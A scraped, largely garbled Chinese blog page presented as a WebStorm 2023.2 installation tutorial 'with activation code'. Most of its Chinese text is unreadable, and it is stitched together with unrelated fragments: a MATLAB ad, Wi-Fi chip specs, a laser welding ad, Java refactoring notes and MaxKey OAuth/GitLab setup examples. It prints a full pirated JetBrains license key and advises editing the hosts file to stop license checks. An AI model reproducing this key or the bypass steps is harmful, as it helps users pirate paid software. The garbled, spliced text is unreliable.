Webstorm 2023.2 最新安装教程(附激活码,亲测有效)

Webstorm 2023.2 最新安装教程(附激活码,亲测有效)_IDE

&#;&#;

WebStorm &#;JetBrains&#;&#;&#;&#;&#;&#;JavaScript &#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;JS&#;&#;&#;&#;&#;“Web&#;&#;&#;&#;&#;&#;”&#;“&#;&#;&#;&#;HTML5&#;&#;&#;”&#;“&#;&#;&#;&#;JavaScript IDE”&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;: &#;&#;&#;&#;&#; Webstorm 2023.2 &#;&#;&#;&#;&#;

&#;&#;&#;&#; Webstorm &#;&#;&#;&#; Webstorm 2023.2 &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

https://www.jetbrains.com/webstorm/download

Webstorm 2023.2 最新安装教程(附激活码,亲测有效)_JetBrains_02

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;: &#;&#;&#;&#; Webstorm 2023.2 &#;&#;

2.&#;&#;&#;&#;&#;&#;&#; , &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;:

Webstorm 2023.2 最新安装教程(附激活码,亲测有效)_软件_03

3.&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; Webstorm&#;

Webstorm 2023.2 最新安装教程(附激活码,亲测有效)_Webstorm_04

4.&#;&#; &#;

Webstorm 2023.2 最新安装教程(附激活码,亲测有效)_前端开发_05

5.&#;&#;&#;&#;&#;&#;&#;&#; &#;&#;&#; &#;&#;&#;&#;:

Webstorm 2023.2 最新安装教程(附激活码,亲测有效)_IDE_06

Webstorm &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; JetBrains &#;&#;&#;&#;&#;&#;&#;

Webstorm 2023.2 最新安装教程(附激活码,亲测有效)_Webstorm_07

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#; Webstorm &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; Webstorm&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

1&#;&#;&#; hosts &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#; Webstorm &#;&#;&#; hosts &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

2&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

1. &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;, &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

2. &#;&#;&#;&#;&#;, &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; &#;&#;&#;&#;&#;

Webstorm 2023.2 最新安装教程(附激活码,亲测有效)_JetBrains_08

&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;, &#;&#;&#;&#;&#;&#;&#;&#;, &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

Webstorm 2023.2 最新安装教程(附激活码,亲测有效)_Webstorm_09

&#;&#;&#;&#;&#; 3&#;&#;&#;&#; , &#;&#;&#;&#;&#;&#; &#;&#;&#;&#;&#;&#;

Webstorm 2023.2 最新安装教程(附激活码,亲测有效)_Webstorm_10

&#;&#;&#;&#;&#;&#;&#;&#;

Windows &#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; &#;&#;&#;&#;&#;:

&#;&#;&#; &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; IDEA &#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#; &#;&#;&#;&#;&#;&#;&#;&#;&#;&#; &#;&#;&#;&#;&#;&#;&#;&#; &#;&#;&#;

Webstorm 2023.2 最新安装教程(附激活码,亲测有效)_IDE_11

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

Webstorm 2023.2 最新安装教程(附激活码,亲测有效)_JetBrains_12

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; 10 - 30 &#;&#;&#;&#;&#;&#;&#;&#;&#; &#;&#;&#;&#;&#;&#;&#;&#;&#;

Webstorm 2023.2 最新安装教程(附激活码,亲测有效)_前端开发_13

Mac / Linux &#;&#;

Mac / Linux &#;&#;&#;&#;&#; Windows &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; &#;&#;&#;&#; &#;&#; &#;&#;, &#;&#;&#;&#;&#;

&#;&#;&#;&#; , &#;&#;&#;&#;&#;&#;&#;

Webstorm 2023.2 最新安装教程(附激活码,亲测有效)_IDE_14

&#;&#;&#;&#;&#; Mac/Linux &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

Webstorm 2023.2 最新安装教程(附激活码,亲测有效)_JetBrains_15

&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

Webstorm 2023.2 最新安装教程(附激活码,亲测有效)_IDE_16

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

Windows &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; -> &#;&#;&#;&#;&#;&#;&#;&#; &#;&#;&#;&#;&#;&#;&#; &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#; &#;&#;&#;&#; &#;&#;&#;&#;&#;&#;&#;&#; &#;

Webstorm 2023.2 最新安装教程(附激活码,亲测有效)_IDE_17

Mac / Linux &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;Mac / Linux &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#; Webstorm

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; Webstorm !!!

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; Webstorm !!!

&#;&#;&#;&#;&#;&#;&#;&#; Webstorm, &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#; Webstorm&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

8R927DG13X-eyJsaWNlbnNlSWQiOiI4UjkyN0RHMTNYIiwibGljZW5zZWVOYW1lIjoic2lnbnVwIHNjb290ZXIiLCJhc3NpZ25lZU5hbWUiOiIiLCJhc3NpZ25lZUVtYWlsIjoiIiwibGljZW5zZVJlc3RyaWN0aW9uIjoiIiwiY2hlY2tDb25jdXJyZW50VXNlIjpmYWxzZSwicHJvZHVjdHMiOlt7ImNvZGUiOiJQU0kiLCJmYWxsYmFja0RhdGUiOiIyMDI1LTA4LTAxIiwicGFpZFVwVG8iOiIyMDI1LTA4LTAxIiwiZXh0ZW5kZWQiOnRydWV9LHsiY29kZSI6IldTIiwiZmFsbGJhY2tEYXRlIjoiMjAyNS0wOC0wMSIsInBhaWRVcFRvIjoiMjAyNS0wOC0wMSIsImV4dGVuZGVkIjpmYWxzZX0seyJjb2RlIjoiUFdTIiwiZmFsbGJhY2tEYXRlIjoiMjAyNS0wOC0wMSIsInBhaWRVcFRvIjoiMjAyNS0wOC0wMSIsImV4dGVuZGVkIjp0cnVlfSx7ImNvZGUiOiJQQ1dNUCIsImZhbGxiYWNrRGF0ZSI6IjIwMjUtMDgtMDEiLCJwYWlkVXBUbyI6IjIwMjUtMDgtMDEiLCJleHRlbmRlZCI6dHJ1ZX1dLCJtZXRhZGF0YSI6IjAxMjAyMjA5MDJQU0FOMDAwMDA1IiwiaGFzaCI6IlRSSUFMOjIwMTEzMjMwMjYiLCJncmFjZVBlcmlvZERheXMiOjcsImF1dG9Qcm9sb25nYXRlZCI6ZmFsc2UsImlzQXV0b1Byb2xvbmdhdGVkIjpmYWxzZX0=-Jev3eIT6wPDh59rzeBG67oHD8GcYHifz9+OkIePP3Qo49dGX1DqLTGJgOxSClHrshRzjOktdBYwkwpeTrDMwgeGu+cy0OhzvtQMeh7R3HrEQkhGbNBjfpbW6nq6Mhv8k6Duoiw3XiU434V5iM6DgRN3Yzo8VKxU7Kb4u/SQnPTd+PR64hYJjblVXUzGHZUX4w8RBej3T0EREccs36bfnnPC2X91K/qbvr9C0uY/feHAMpuekMks0v4qApbInpw5O+elLE3l8txlNWhWSC8m/O/S7iydf27hV5mgePM5422Rpvm4dmA2DIQcq7xxdt4X67DmVGMC2yIFiH4hfkqySWg==-MIIETDCCAjSgAwIBAgIBDTANBgkqhkiG9w0BAQsFADAYMRYwFAYDVQQDDA1KZXRQcm9maWxlIENBMB4XDTIwMTAxOTA5MDU1M1oXDTIyMTAyMTA5MDU1M1owHzEdMBsGA1UEAwwUcHJvZDJ5LWZyb20tMjAyMDEwMTkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCUlaUFc1wf+CfY9wzFWEL2euKQ5nswqb57V8QZG7d7RoR6rwYUIXseTOAFq210oMEe++LCjzKDuqwDfsyhgDNTgZBPAaC4vUU2oy+XR+Fq8nBixWIsH668HeOnRK6RRhsr0rJzRB95aZ3EAPzBuQ2qPaNGm17pAX0Rd6MPRgjp75IWwI9eA6aMEdPQEVN7uyOtM5zSsjoj79Lbu1fjShOnQZuJcsV8tqnayeFkNzv2LTOlofU/Tbx502Ro073gGjoeRzNvrynAP03pL486P3KCAyiNPhDs2z8/COMrxRlZW5mfzo0xsK0dQGNH3UoG/9RVwHG4eS8LFpMTR9oetHZBAgMBAAGjgZkwgZYwCQYDVR0TBAIwADAdBgNVHQ4EFgQUJNoRIpb1hUHAk0foMSNM9MCEAv8wSAYDVR0jBEEwP4AUo562SGdCEjZBvW3gubSgUouX8bOhHKQaMBgxFjAUBgNVBAMMDUpldFByb2ZpbGUgQ0GCCQDSbLGDsoN54TATBgNVHSUEDDAKBggrBgEFBQcDATALBgNVHQ8EBAMCBaAwDQYJKoZIhvcNAQELBQADggIBABqRoNGxAQct9dQUFK8xqhiZaYPd30TlmCmSAaGJ0eBpvkVeqA2jGYhAQRqFiAlFC63JKvWvRZO1iRuWCEfUMkdqQ9VQPXziE/BlsOIgrL6RlJfuFcEZ8TK3syIfIGQZNCxYhLLUuet2HE6LJYPQ5c0jH4kDooRpcVZ4rBxNwddpctUO2te9UU5/FjhioZQsPvd92qOTsV+8Cyl2fvNhNKD1Uu9ff5AkVIQn4JU23ozdB/R5oUlebwaTE6WZNBs+TA/qPj+5/we9NH71WRB0hqUoLI2AKKyiPw++FtN4Su1vsdDlrAzDj9ILjpjJKA1ImuVcG329/WTYIKysZ1CWK3zATg9BeCUPAV1pQy8ToXOq+RSYen6winZ2OO93eyHv2Iw5kbn1dqfBw1BuTE29V2FJKicJSu8iEOpfoafwJISXmz1wnnWL3V/0NxTulfWsXugOoLfv0ZIBP1xH9kmf22jjQ2JiHhQZP7ZDsreRrOeIQ/c4yR8IQvMLfC0WKQqrHu5ZzXTH4NO3CwGWSlTY74kE91zXB5mwWAx1jig+UXYc2w4RkVhy0//lOmVya/PEepuuTTI4+UJwC7qbVlh5zfhj8oTNUXgN0AOc+Q0/WFPl1aw5VV/VrO8FCoB15lFVlpKaQ1Yh+DVU8ke+rt9Th0BCHXe0uZOEmH0nOnH/0onD

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; &#;&#;&#;&#;&#;&#;&#;

Webstorm 2023.2 最新安装教程(附激活码,亲测有效)_Webstorm_18

PS: &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; Webstorm &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; ~

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; coding &#; ~&#;

Webstorm 2023.2 最新安装教程(附激活码,亲测有效)_软件_19

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; Webstorm &#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; Webstorm &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; Webstorm &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#; | MATLAB&#;&#;NGO-SVM&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;(&#;&#;&#;,&#;&#;)

&#;&#;

&#;&#;&#;&#; | MATLAB&#;&#;NGO-SVM&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;(&#;&#;&#;,&#;&#;)&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;

1

2

3

&#;&#;&#;&#;

&#;&#;&#;&#; | MATLAB&#;&#;NGO-SVM&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;(&#;&#;&#;,&#;&#;),&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;;

&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;;excel&#;&#;,&#;&#;&#;&#;,&#;&#;&#;&#;2018&#;&#;&#;&#;

&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;:&#;&#;&#;&#;MATLAB&#;&#;NGO-SVM&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;(&#;&#;&#;,&#;&#;)(&#;&#;&#;,&#;&#;)&#;

&#;&#;&#;&#;

[1] https://blog.csdn.net/kjm/article/details/

[2] https://blog.csdn.net/kjm/article/details/

&#;&#;&#;&#;&#;&#;&#;&#;&#;WCN3610&#;&#;&#;&#;&#;&#;&#;&#;&#;6&#;&#;&#;&#;&#;&#;&#;

1. 11b,11M: +15.0± 3.0dBm

2. 11g,54M: +14.0± 3.0dBm

3. 11n,MCS7: +12.0± 3.0dBm

4. 11a,54M ≧ +12.0 ± 3.0dBm

5. 11n,HT20 ≧+12.0 ± 3.0dBm

6. 11n,HT40 ≧+12.0 ± 3.0dBm

&#;&#;11n, HT20, HT40&#;&#;&#;&#;&#;&#;MCS7&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;3&#;&#;&#;&#;&#;&#;&#;&#;&#;11n + MCS7 + HT20&#;HT40?

&#;5&#;&#;&#;6&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;MCS7?

&#;&#;&#;3&#;5,6&#;&#;&#;&#;?&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

msc7&#;&#;&#;&#;64QAM&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;6bit&#;&#;&#;&#;&#;&#;5/6&#;&#;HT20&#;&#;&#;&#;&#;65Mbit/s&#;&#;HT40&#;&#;&#;&#;&#;135Mbit/s&#;

&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

透明塑料激光焊接机在汽车后视镜塑料焊接上的优势特点_手持激光焊接机

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;CCD&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

透明塑料激光焊接机在汽车后视镜塑料焊接上的优势特点_激光焊接机_02

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

请在此添加图片描述

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;foreach&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;0&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;

1&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

2&#;&#;&#;&#;&#;for&#;&#;&#;if else&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;idea&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;2.5M&#;&#;&#;&#;&#;&#;8000&#;+&#;&#;&#;&#;&#;if+for&#;400&#;+

请在此添加图片描述

请在此添加图片描述

请在此添加图片描述

&#;&#;1&#;&#;&#;&#;&#;&#;&#;&#;&#;5&#;&#;&#;&#;&#;SQL&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;xml&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;JSON&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;1–>2,&#;&#;&#;&#;&#;&#;2–>1&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;A&#;&#;&#;IP&#;&#;&#;B&#;&#;&#;&#;&#;IP&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;MAC&#;&#;&#;&#;&#;&#;&#;&#;DHCP&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;~

5.&#;&#;&#;&#;&#;IdentityHashmap&#;&#;&#;&#;A&#;B&#;A–>B,B&#;A&#;B–>A&#;&#;&#;&#;&#;&#;Id&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;

1.&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;5&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

2.if(true)&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;Boolean&#;&#;&#;

boolean b = subnetIdList.contains(source)

&& wsubnetIdList.contains(target)

||subnetIdList.contains(target)

&& wsubnetIdList.contains(source);

3.for&#;&#;foreach&#;&#;&#;&#;&#;for(int ; ;),&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

4.java8 Lambada&#;&#;&#;

5.&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#; &#;&#;&#;&#;

}

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;liststream&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;…

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;~

MaxKey&#;Oauth&#;&#;

在这里插入图片描述

&#;&#;&#;&#;

GET

http://{{maxKey_host}}/sign/authz/oauth/v20/authorize?client_id=YOUR_CLIENT_ID&response_type=code&redirect_uri=YOUR_REGISTERED_REDIRECT_URI

&#;&#;&#;&#;&#;&#;&#;

YOUR_REGISTERED_REDIRECT_URI/?code={{code}}

&#;&#;Access Token

GET&#;POST

http://{{maxKey_host}}/sign/authz/oauth/v20/token?client_id=YOUR_CLIENT_ID&client_secret=YOUR_CLIENT_SECRET&grant_type=authorization_code&redirect_uri=YOUR_REGISTERED_REDIRECT_URI&code={{code}}

&#;&#;&#;&#;:

{

“access_token”: “7c-7208-4548-aac8-b0230a834b51”,

“token_type”: “bearer”,

“expires_in”: 299,

“scope”: “read”

}

&#;&#;&#;&#;&#;&#;

GET&#;POST

http://{{maxKey_host}}/sign/api/oauth/v20/me?access_token={{access_token}}

&#;&#;&#;&#;

{

“birthday”: null,

“gender”: 2,

“displayName”: “lidi”,

“departmentId”: “101”,

“mobile”: null,

“createdate”: “2023-08-16 05:59:23”,

“title”: null,

“userId”: “”,

“online_ticket”: “OT”,

“employeeNumber”: null,

“realname”: “lidi”,

“institution”: “1”,

“randomId”: “cc3025a9-dfec-4a7f-bfaa-e731c3bd8b9d”,

“state”: null,

“department”: “&#;&#;&#;”,

“user”: “lidi”,

“email”: “@qq.com”,

“username”: “lidi”

}

MaxKey&#;&#;

&#;&#;&#;&#;Gitlab&#;&#;

&#;&#;&#;&#;

在这里插入图片描述

OAuth2.0&#;&#;

在这里插入图片描述

&#;&#;&#;&#;

在这里插入图片描述

&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;gitlab&#;&#;&#;&#;&#;&#;

在这里插入图片描述

Gitlab&#;&#;

1. &#;&#;Gitlab&#;Oauth2&#;&#;

&#;&#; /etc/gitlab/gitlab.rb

user_response_structure

id_path: [‘userId’]

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;MaxKey&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

userId&#;&#;&#;&#;&#;&#;&#;

attributes

